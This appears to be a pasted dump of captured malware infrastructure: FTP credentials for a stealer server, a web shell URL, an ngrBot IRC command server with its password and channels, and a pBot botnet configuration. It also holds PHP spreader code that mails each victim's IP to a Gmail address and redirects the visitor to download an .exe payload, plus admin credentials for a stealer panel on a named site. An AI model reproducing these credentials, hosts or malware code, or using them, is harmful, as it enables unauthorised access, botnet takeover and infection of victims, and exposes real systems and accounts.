Stealer - FTP - 199.238.129.124

IP : 199.238.129.124:21
USER : volun7
pass : amigo+10
// Shell 
hxxp://199.238.129.124/xxx.php

Owned - ngrBot - idhrix30 (HF)

63.223.79.122:5794 PASS ngrBot
NICK n{US|XPa}owsekei
USER owsekei 0 0 :owsekei
JOIN #chan ngrBot
JOIN #chanspread
PRIVMSG #chan :[DNS]: Blocked 0 domain(s) - Redirected 13 domain(s)

$ip = getenv("REMOTE_ADDR");
$content = "
-----------------------------------------------------
INFECTADO SPREAD rlzz ng . =)

Fecha: $Fecha / Hora: $Hora
Ip Host Victima: $ip
----------
xD
----------------------------------------------------- \n";

$correo1 = "idhrix30@gmail.com";
$subject = "INFECTADO SPREAD rlzz ng - $ip";
$from = "From:INFETADO SPREAD rlzz ng ";

 mail($correo1,$subject,$content,$from);
?>
html>head>
meta http-equiv="refresh" content="0; URL=IMG80593858.exe">
/head>

Stealer - ISR v0.3 - keskustelua.com

// not many logs but .. :P
http://www.keskustelua.com/index.php
user : admin
pass : admin

PHP - pBot - Gerbong3

Working on

// 100 bots inside and many scanners
class pBot
var $config = array("server"=>"irc.javairc.org",
                    "port"=>"6667",
                    "pass"=>"",
                    "prefix"=>"tiga",
                    "maxrand"=>"5",
                    "chan"=>"# owner",
                    "chan2"=>"# owner",
                    "key"=>"bot",
                    "modes"=>"+ps",
                    "password"=>"jancuk",
                    "trigger"=>".",
                    "hostauth"=>"stupid.us"